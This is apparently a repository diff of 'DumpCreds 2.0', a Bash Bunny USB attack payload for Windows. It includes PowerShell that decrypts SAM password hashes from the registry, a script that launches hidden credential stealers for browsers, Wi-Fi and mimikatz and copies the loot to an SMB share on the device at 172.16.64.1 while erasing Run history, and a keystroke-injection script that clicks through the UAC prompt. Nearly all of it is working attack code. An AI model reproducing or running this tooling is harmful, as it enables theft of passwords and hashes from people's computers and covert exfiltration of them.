$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
|
||||
}
|
||||
elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
|
||||
{
|
||||
$nt_hash_offset = $u.HashOffset + 8;
|
||||
$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
|
||||
}
|
||||
return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
|
||||
}
|
||||
function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
|
||||
{
|
||||
[byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
|
||||
# LM Hash
|
||||
if ($enc_lm_hash)
|
||||
{
|
||||
$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
|
||||
}
|
||||
|
||||
# NT Hash
|
||||
if ($enc_nt_hash)
|
||||
{
|
||||
$nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
|
||||
}
|
||||
return ,($lmhash,$nthash)
|
||||
}
|
||||
function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
|
||||
{
|
||||
$deskeys = sid_to_key $rid;
|
||||
$md5 = [Security.Cryptography.MD5]::Create();
|
||||
$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
|
||||
$rc4 = NewRC4 $rc4_key;
|
||||
$obfkey = $rc4.encrypt($enc_hash);
|
||||
$hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
|
||||
(des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
|
||||
return ,$hash;
|
||||
}
|
||||
function Get-UserKeys
|
||||
{
|
||||
ls HKLM:\SAM\SAM\Domains\Account\Users |
|
||||
where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
|
||||
Add-Member AliasProperty KeyName PSChildName -PassThru |
|
||||
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
|
||||
Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
|
||||
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
|
||||
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
|
||||
}
|
||||
function DumpHashes
|
||||
{
|
||||
LoadApi
|
||||
$bootkey = Get-BootKey;
|
||||
$hbootKey = Get-HBootKey $bootkey;
|
||||
Get-UserKeys | %{
|
||||
$hashes = Get-UserHashes $_ $hBootKey;
|
||||
"{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
|
||||
[BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
|
||||
[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
|
||||
#"`n"
|
||||
}
|
||||
}
|
||||
if ([priv]::IsUserAnAdmin())
|
||||
{
|
||||
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
|
||||
{
|
||||
DumpHashes
|
||||
}
|
||||
else
|
||||
{
|
||||
ElevatePrivs
|
||||
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
|
||||
{
|
||||
DumpHashes
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
echo "Administrator or System privileges necessary."
|
||||
Write-Error "Administrator or System privileges necessary."
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
###############################
|
||||
|
||||
echo "##Hashes"
|
||||
echo "======================================================"
|
||||
echo ""
|
||||
|
||||
# Update output buffer size to 500
|
||||
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
||||
$rawUI = $Host.UI.RawUI
|
||||
$oldSize = $rawUI.BufferSize
|
||||
$typeName = $oldSize.GetType( ).FullName
|
||||
$newSize = New-Object $typeName (500, $oldSize.Height)
|
||||
$rawUI.BufferSize = $newSize
|
||||
}
|
||||
|
||||
Invoke-PowerDump
|
||||
echo "`n`n`n"
|
||||
|
||||
|
||||
###############################
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,79 @@
|
|||
# DumpCreds 2.0
|
||||
* Author: QDBA
|
||||
* Version: Version 2.0.2 Build 1003
|
||||
* Target: Windows
|
||||
|
||||
## Description
|
||||
|
||||
Dumps the usernames & plaintext passwords from
|
||||
- Browsers (Crome, IE, FireFox)
|
||||
- Wifi
|
||||
- SAM Hashes (only if AdminMode=True)
|
||||
- Mimimk@tz Dump (only if AdminMode=True)
|
||||
- Computerinformation (Hardware Info, Windows ProductKey, Hotfixes, Software, Local, AD Userlist)
|
||||
|
||||
without
|
||||
- Use of USB Storage (Because USB Storage ist mostly blocked by USBGuard or DriveLock)
|
||||
- Internet connection (becaus Firewall ContentFilter Blocks the download sites)
|
||||
|
||||
|
||||
|
||||
## Configuration
|
||||
|
||||
None needed.
|
||||
|
||||
## Requirements
|
||||
|
||||
Impacket must be installed.
|
||||
Install it from tools_installer payload
|
||||
|
||||
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/tools_installer
|
||||
|
||||
|
||||
## Download
|
||||
|
||||
|
||||
https://github.com/qdba/bashbunny-payloads/tree/master/payloads/library/DumpCreds_2.0
|
||||
|
||||
|
||||
## Install
|
||||
|
||||
Copy payload.txt, main.ps1 and the complete PS Folder to your favorite switch direcrory.
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
| White | Give drivers some time for installation |
|
||||
| Red Blink Fast | Impacket not found |
|
||||
| Red Blink Slow | Target did not acquire IP address |
|
||||
| Amber Blink Fast | Initialization |
|
||||
| Amber | HID Stage |
|
||||
| Purple Blink Fast | Wait for IP coming up |
|
||||
| Purple Blink Slow | Wait for Handshake (SMBServer Coming up) |
|
||||
| Purple / Amber | Powershell scripts running |
|
||||
| RED | Error in Powershell Scripts |
|
||||
| Green | Finished |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
|
||||
|
||||
## Discussion
|
||||
|
||||
https://forums.hak5.org/index.php?/topic/40582-payload-drumpcreds-20-wo-internet-wo-usb-storage
|
||||
|
||||
## Credits
|
||||
|
||||
to......
|
||||
|
||||
https://github.com/EmpireProject/Empire Get-FoxDump.ps1, Invoke-M1m1k@tz.ps1, Invoke-PowerDump.ps1, Get-ChromeCreds.ps1
|
||||
|
||||
|
||||
## ToDo
|
||||
|
||||
- paralellize Creds gathering with PS -- check
|
||||
- while Bashbunny is waiting for Target finished the script it can some other nice work. i.e. nmap the target.
|
||||
(Not very useful at ths time because I'm still Admin on Computer)
|
||||
- remove the modifications of the Powersploit scripts, so you can download and use the original Files. (At the moment you must use my scripts) (and in future)
|
||||
- rewrite some code of the payload so the payload will work no matter if you have admin rights (UAC MsgBox) or not (Credentials MsgBox) -- check
|
||||
(There is no exploitation. You will not get admin rights, but it passes sucessfully never mind if there is a Credential prompt or a UAC prompt)
|
||||
- Maybe! If Target is in a AD Domain and Mimik@tz give us some Passwords try to get some more information about the AD Domain
|
||||
|
|
@ -0,0 +1,106 @@
|
|||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
DumpCred 2.0
|
||||
.DESCRIPTION
|
||||
Dumps all Creds from a PC
|
||||
.PARAMETER <paramName>
|
||||
none
|
||||
.EXAMPLE
|
||||
DumpCred
|
||||
#>
|
||||
|
||||
$_Version = "2.0.2"
|
||||
$_BUILD = "1003"
|
||||
|
||||
# Share on bashbunny
|
||||
$SHARE="\\172.16.64.1\e"
|
||||
$LOOT="$SHARE\loot"
|
||||
|
||||
|
||||
$FILE="$LOOT\$env:COMPUTERNAME.txt"
|
||||
$TMPFILE=[System.IO.Path]::GetTempFileName()
|
||||
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
|
||||
$LINE3="`n`n`n"
|
||||
|
||||
# Wait for Share
|
||||
do {
|
||||
Start-Sleep -s 1
|
||||
Write-Host -NoNewline "-"
|
||||
} until (test-path \\172.16.64.1\e)
|
||||
|
||||
# Ok we got the connection.... Wait and Initiate the Handshake
|
||||
# Handshake - create CON_REQ on Share. Bunny creates CON_OK if all is OK --- Check Share is writable
|
||||
while ( -Not (Test-Path "$SHARE\CON_OK")) {
|
||||
Start-Sleep -s 1
|
||||
Write-Host -NoNewline "."
|
||||
if ( -Not (( Test-Path "$SHARE\CON_REQ") -or (Test-Path "$SHARE\CON_OK"))) {
|
||||
Write-output " " | out-file "$SHARE\CON_REQ"
|
||||
Write-Host -NoNewline "+"
|
||||
}
|
||||
}
|
||||
Write-Host "!"
|
||||
|
||||
# Go on......
|
||||
|
||||
# For Outpu we are useing a local TMP File because OUT-File -append to a Fil on Share does not work :-(
|
||||
# Remove TMP File
|
||||
|
||||
Remove-Item $TMPFILE -ErrorAction SilentlyContinue
|
||||
|
||||
# Set Output buffer width to 500
|
||||
# Update output buffer size to prevent clipping in Visual Studio output window.
|
||||
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
||||
$rawUI = $Host.UI.RawUI
|
||||
$oldSize = $rawUI.BufferSize
|
||||
$typeName = $oldSize.GetType( ).FullName
|
||||
$newSize = New-Object $typeName (500, $oldSize.Height)
|
||||
$rawUI.BufferSize = $newSize
|
||||
}
|
||||
|
||||
|
||||
"###DumpCreds " + $_VERSION + " Build " + $_BUILD + " Admin Mode: " + $isAdmin| OUT-File $TMPFILE
|
||||
"=======================================================" | OUT-File -append $TMPFILE
|
||||
$LINE3 | Add-Content $TMPFILE
|
||||
|
||||
|
||||
# Start all Scripts in $SHARE\PS as job
|
||||
|
||||
# First remove all jobs I'm so bad....., don't care about running jobs
|
||||
Stop-Job *
|
||||
Remove-Job *
|
||||
|
||||
# Start all Jobs as background jobs
|
||||
Write-Host "Wifi-Cred" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Get-WiFiCreds.ps1} | Out-Null
|
||||
Write-Host "ChromeCred" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Get-ChromeCreds.ps1} | Out-Null
|
||||
Write-Host "IECred" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Get-IECreds.ps1} | Out-Null
|
||||
Write-Host "FireFoxCred" ; start-job -RunAs32 -ArgumentList $SHARE {param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Get-FoxDump.ps1} | Out-Null
|
||||
Write-Host "Inventory" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Get-Inventory.ps1} | Out-Null
|
||||
if ($isAdmin) {
|
||||
Write-Host "Hashes" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Invoke-PowerDump.ps1} | Out-Null
|
||||
Write-Host "M1m1k@tz" ; start-job -ArgumentList $SHARE {Param($SHARE); powershell -WindowStyle Hidden -Exec Bypass $SHARE\PS\Invoke-M1m1k@tz.ps1} | Out-Null
|
||||
}
|
||||
|
||||
# Wait for all jobs
|
||||
Get-Job | Wait-Job | Out-Null
|
||||
|
||||
# Receive all results
|
||||
Get-Job | Receive-Job | Out-File -Append $TMPFILE
|
||||
|
||||
|
||||
|
||||
#Move TMP File to Bunny
|
||||
move-item $TMPFILE -Destination $FILE -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Cleanup
|
||||
# Remove Run History
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
|
||||
|
||||
# Rename CON_OK to CON_EOF so bunny knows that all the stuff has finished
|
||||
Rename-Item -Path "$SHARE\CON_OK" -NewName "$SHARE\CON_EOF"
|
||||
|
||||
# Kill cmd.exe
|
||||
Stop-Process -name cmd -ErrorAction SilentlyContinue
|
||||
|
||||
# Remove all Jobs from Joblist
|
||||
Remove-Job *
|
||||
|
|
@ -0,0 +1,148 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Title: DumpCreds 2.0
|
||||
# Author: QDBA
|
||||
# Version: 2.0.2
|
||||
# Build: 1001
|
||||
# Category: Exfiltration
|
||||
# Target: Windows Windows 7 + 10 (Powershell)
|
||||
# Attackmodes: HID, Ethernet
|
||||
#
|
||||
#
|
||||
# White................Wait for driver installation
|
||||
# Red Blink Fast.......Impacket not found
|
||||
# Red Blink Slow.......Target did not acquire IP address
|
||||
# Amber Blink Fast.....Initialization
|
||||
# Amber................HID Stage
|
||||
# Purple Blink Fast....Wait for IP coming up
|
||||
# Purple Blink Slow....Wait for Handshake (SMB Server Coming up)
|
||||
# Purple / Amber ......Powershell scripts running
|
||||
# RED..................Error in Powershell scripts
|
||||
# Green................Finished
|
||||
#
|
||||
# OPTIONS
|
||||
|
||||
# Source bunny_helpers.sh to get environment variables
|
||||
source bunny_helpers.sh
|
||||
|
||||
# Some Variables
|
||||
SWITCHDIR=/root/udisk/payloads/$SWITCH_POSITION
|
||||
LOOTDIR=$SWITCHDIR/loot
|
||||
mkdir -p $LOOTDIR >/dev/null
|
||||
|
||||
|
||||
# Initialization
|
||||
LED R G 100
|
||||
|
||||
|
||||
# Check for impacket. If not found, blink fast red.
|
||||
if [ ! -f pentest/impacket/examples/smbserver.py ]; then
|
||||
LED R 100
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# remove old Handshake Files
|
||||
rm -f $SWITCHDIR/CON_*
|
||||
|
||||
|
||||
# HID STAGE
|
||||
# Runs minimized powershell waiting for Bash Bunny to appear as 172.16.64.1.
|
||||
LED R G B
|
||||
ATTACKMODE HID
|
||||
|
||||
Q SET_LANGUAGE DE
|
||||
|
||||
# Give some time for driver installation
|
||||
Q DELAY 25000
|
||||
|
||||
LED R G 100
|
||||
# Launch initial cmd
|
||||
Q GUI r
|
||||
Q DELAY 1000
|
||||
Q STRING cmd /k mode con lines=1 cols=180
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
|
||||
|
||||
# Launch powershell as admin and deletes Run history
|
||||
#Q GUI r
|
||||
Q DELAY 1000
|
||||
#Q STRING powershell -NoP -NonI -W Hidden -Exec Bypass -c "Start-Process cmd -A '/t:fe /k mode con lines=1 cols=180' -Verb runAs"
|
||||
Q STRING start powershell -NoP -NonI -W Hidden -Exec Bypass -c "Start-Process cmd -A '/k mode con lines=1 cols=180' -Verb runAs"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
|
||||
# Bypass UAC :: Change "ALT j" according to your language i.e. for us it is ALT o
|
||||
# Bypass UAC :: Change "ALT j" according to your language i.e. for us it is ALT o
|
||||
|
||||
# With Admin rights the UAC prompt opens. ALT j goes to the prompt and the admin CMD windows opens. The ALT n goes to this Window (doesn't matter) than Enter for Newline
|
||||
# now the second powershell command goes to the admin cmd windows.
|
||||
|
||||
# With no Adminrights the the credentils prompt opens. ALT j doesn't do anything because there are no credentials. Then ALT n cancels the credentials propmpt.
|
||||
# the second powershell command goes to the cmd Windows I open first.
|
||||
Q DELAY 1000
|
||||
Q ALT j
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
|
||||
Q DELAY 1000
|
||||
Q ALT n
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
|
||||
LED R G
|
||||
# Wait for Bunny Ethernet and Start main.ps1 Powershell Script
|
||||
Q DELAY 500
|
||||
Q STRING "powershell \"while (1) { If (Test-Connection 172.16.64.1 -count 1 -quiet) { sleep 2; powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \\\172.16.64.1\e\main.ps1; exit } }\""
|
||||
Q DELAY 1000
|
||||
Q ENTER
|
||||
|
||||
|
||||
|
||||
# Ethernet Tage
|
||||
LED R B 1
|
||||
ATTACKMODE RNDIS_ETHERNET
|
||||
# Source bunny_helpers.sh to get environment variables
|
||||
source bunny_helpers.sh
|
||||
|
||||
|
||||
# Start SMB Server
|
||||
/pentest/impacket/examples/smbserver.py e $SWITCHDIR &
|
||||
|
||||
# Give target a chance to start exfiltration
|
||||
sleep 2
|
||||
|
||||
# Here you can do anything else except but do not change the ATTACKMODE or umount /root/udisk
|
||||
|
||||
|
||||
|
||||
# Check target IP address. If unset, blink slow red.
|
||||
if [ -z "${TARGET_IP}" ]; then
|
||||
LED R 1000
|
||||
exit 1
|
||||
fi
|
||||
|
||||
LED R B 1000
|
||||
# Handshake Bunny and Computer
|
||||
while ! [ -f $SWITCHDIR/CON_REQ ]; do
|
||||
sleep 1
|
||||
done
|
||||
mv $SWITCHDIR/CON_REQ $SWITCHDIR/CON_OK
|
||||
LED R B
|
||||
|
||||
# Wait until CON_EOF - Computer set it if all is ready
|
||||
while ! [ -f $SWITCHDIR/CON_EOF ]; do
|
||||
LED R B
|
||||
sleep 1
|
||||
LED R G
|
||||
sleep 1
|
||||
if [ -f $SWITCHDIR/CON_ERR ]; then
|
||||
rm $SWITCHDIR/CON_ERR
|
||||
LED R
|
||||
exit 2
|
||||
fi
|
||||
done
|
||||
rm $SWITCHDIR/CON_EOF
|
||||
sync; sleep 1; sync
|
||||
|
||||
LED G
|
||||
Loading…
Reference in New Issue